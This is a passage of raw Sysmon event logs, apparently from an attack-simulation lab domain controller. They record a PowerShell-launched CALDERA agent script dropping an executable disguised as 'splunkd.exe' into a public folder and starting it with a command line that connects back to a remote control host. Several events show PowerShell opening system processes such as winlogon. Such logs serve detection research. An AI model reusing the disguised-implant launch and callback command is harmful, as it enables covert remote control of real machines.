embly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1031,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:46.969\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-0010CA3F0100}\r\nSourceProcessId: 2184\r\nSourceThreadId: 2808\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00108D130100}\r\nTargetProcessId: 1924\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1410\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:46.969","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-0010CA3F0100}","SourceProcessId":"2184","SourceThreadId":"2808","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00108D130100}","TargetProcessId":"1924","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1410","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1032,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:46.969\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-0010CA3F0100}\r\nSourceProcessId: 2184\r\nSourceThreadId: 2808\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-0010417D0100}\r\nTargetProcessId: 2424\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1410\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:46.969","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-0010CA3F0100}","SourceProcessId":"2184","SourceThreadId":"2808","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-0010417D0100}","TargetProcessId":"2424","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1410","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1033,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:46.969\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-0010CA3F0100}\r\nSourceProcessId: 2184\r\nSourceThreadId: 2808\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010244B0000}\r\nTargetProcessId: 800\r\nTargetImage: C:\\Windows\\system32\\winlogon.exe\r\nGrantedAccess: 0x1410\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:46.969","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-0010CA3F0100}","SourceProcessId":"2184","SourceThreadId":"2808","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010244B0000}","TargetProcessId":"800","TargetImage":"C:\\Windows\\system32\\winlogon.exe","GrantedAccess":"0x1410","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1034,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:46.969\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-0010CA3F0100}\r\nSourceProcessId: 2184\r\nSourceThreadId: 2808\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-3FD7-5F2D-0000-00100EB70100}\r\nTargetProcessId: 2832\r\nTargetImage: C:\\Windows\\system32\\wbem\\wmiprvse.exe\r\nGrantedAccess: 0x1410\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:46.969","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-0010CA3F0100}","SourceProcessId":"2184","SourceThreadId":"2808","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-3FD7-5F2D-0000-00100EB70100}","TargetProcessId":"2832","TargetImage":"C:\\Windows\\system32\\wbem\\wmiprvse.exe","GrantedAccess":"0x1410","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3364bd|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b3a5c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b294b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b2884|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b335c|UNKNOWN(00007FF8EAB23F41)","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":1035,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: EXE\r\nUtcTime: 2020-08-07 11:49:46.984\r\nProcessGuid: {90617006-3FD4-5F2D-0000-0010CA3F0100}\r\nProcessId: 2184\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Users\\Public\\splunkd.exe\r\nCreationUtcTime: 2020-08-07 11:48:42.798","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"EXE","UtcTime":"2020-08-07 11:49:46.984","ProcessGuid":"{90617006-3FD4-5F2D-0000-0010CA3F0100}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Users\\Public\\splunkd.exe","CreationUtcTime":"2020-08-07 11:48:42.798","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1036,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:47.103\r\nProcessGuid: {90617006-3FDB-5F2D-0000-00103EF90100}\r\nProcessId: 2940\r\nImage: C:\\Users\\Public\\splunkd.exe\r\nFileVersion: ?\r\nDescription: ?\r\nProduct: ?\r\nCompany: ?\r\nOriginalFileName: ?\r\nCommandLine: \"C:\\Users\\Public\\splunkd.exe\" -socket 10.0.1.12:7010 -http http://10.0.1.12:8888 -contact tcp \r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=32E2535A13E90442893737530C4773D1,SHA256=C4A32E14644C0859C895A66C96AECC9647949F8295EADE40ACE7F3EFC597C6F9,IMPHASH=1CD364A9E949D5ECEBD6C614E64BC545\r\nParentProcessGuid: {90617006-3FD4-5F2D-0000-0010CA3F0100}\r\nParentProcessId: 2184\r\nParentImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nParentCommandLine: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -ExecutionPolicy Unrestricted -NonInteractive -File C:\\caldera_manx_agent.ps1","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:47.103","ProcessGuid":"{90617006-3FDB-5F2D-0000-00103EF90100}","Image":"C:\\Users\\Public\\splunkd.exe","FileVersion":"?","Description":"?","Product":"?","Company":"?","OriginalFileName":"?","CommandLine":"\"C:\\Users\\Public\\splunkd.exe\" -socket 10.0.1.12:7010 -http http://10.0.1.12:8888 -contact tcp ","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=32E2535A13E90442893737530C4773D1,SHA256=C4A32E14644C0859C895A66C96AECC9647949F8295EADE40ACE7F3EFC597C6F9,IMPHASH=1CD364A9E949D5ECEBD6C614E64BC545","ParentProcessGuid":"{90617006-3FD4-5F2D-0000-0010CA3F0100}","ParentProcessId":"2184","ParentImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","ParentCommandLine":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -ExecutionPolicy Unrestricted -NonInteractive -File C:\\caldera_manx_agent.ps1","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1037,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:47.156\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-0010CA3F0100}\r\nSourceProcessId: 2184\r\nSourceThreadId: 2808\r\nSourceImage: Shell.Commands.ManagWindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-3FDB-5F2D-0000-00103EF90100}\r\nTargetProcessId: 2940\r\nTargetImage: C:\\Users\\Public\\splunkd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\windows.storage.dll+164bbf|C:\\Windows\\System32\\windows.storage.dll+164835|C:\\Windows\\System32\\windows.storage.dll+164326|C:\\Windows\\System32\\windows.storage.dll+165798|C:\\Windows\\System32\\windows.storage.dll+16414e|C:\\Windows\\System32\\windows.storage.dll+10cfd5|C:\\Windows\\System32\\windows.storage.dll+10d354|C:\\Windows\\System32\\windows.storage.dll+10c990|C:\\Windows\\System32\\shell32.dll+e8b0f|C:\\Windows\\System32\\shell32.dll+e899c|C:\\Windows\\System32\\shell32.dll+e86ec|C:\\Windows\\System32\\shell32.dll+31537|C:\\Windows\\System32\\shell32.dll+31495|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+33903a|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+276811|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+acd808|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+271e5f|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b56bc|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+7fffd(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+7fffd(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:47.156","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-0010CA3F0100}","SourceProcessId":"2184","SourceThreadId":"2808","SourceImage":"Shell.Commands.ManagWindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-3FDB-5F2D-0000-00103EF90100}","TargetProcessId":"2940","TargetImage":"C:\\Users\\Public\\splunkd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\windows.storage.dll+164bbf|C:\\Windows\\System32\\windows.storage.dll+164835|C:\\Windows\\System32\\windows.storage.dll+164326|C:\\Windows\\System32\\windows.storage.dll+165798|C:\\Windows\\System32\\windows.storage.dll+16414e|C:\\Windows\\System32\\windows.storage.dll+10cfd5|C:\\Windows\\System32\\windows.storage.dll+10d354|C:\\Windows\\System32\\windows.storage.dll+10c990|C:\\Windows\\System32\\shell32.dll+e8b0f|C:\\Windows\\System32\\shell32.dll+e899c|C:\\Windows\\System32\\shell32.dll+e86ec|C:\\Windows\\System32\\shell32.dll+31537|C:\\Windows\\System32\\shell32.dll+31495|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+33903a|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+276811|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+acd808|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+271e5f|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b56bc|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+7fffd(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+7fffd(wow64)","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1038,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:47.156\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FDB-5F2D-0000-00103EF90100}\r\nTargetProcessId: 2940\r\nTargetImage: C:\\Users\\Public\\splunkd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:47.156","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FDB-5F2D-0000-00103EF90100}","TargetProcessId":"2940","TargetImage":"C:\\Users\\Public\\splunkd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1039,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:47.156\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FDB-5F2D-0000-00107FF90100}\r\nTargetProcessId: 2948\r\nTargetImage: C:\\Windows\\system32\\conhost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\SYSTEM32\\CSRSRV.dll+1a30|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5c09|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:47.156","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FDB-5F2D-0000-00107FF90100}","TargetProcessId":"2948","TargetImage":"C:\\Windows\\system32\\conhost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\SYSTEM32\\CSRSRV.dll+1a30|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5c09|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1040,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:47.156\r\nSourceProcessGUID: 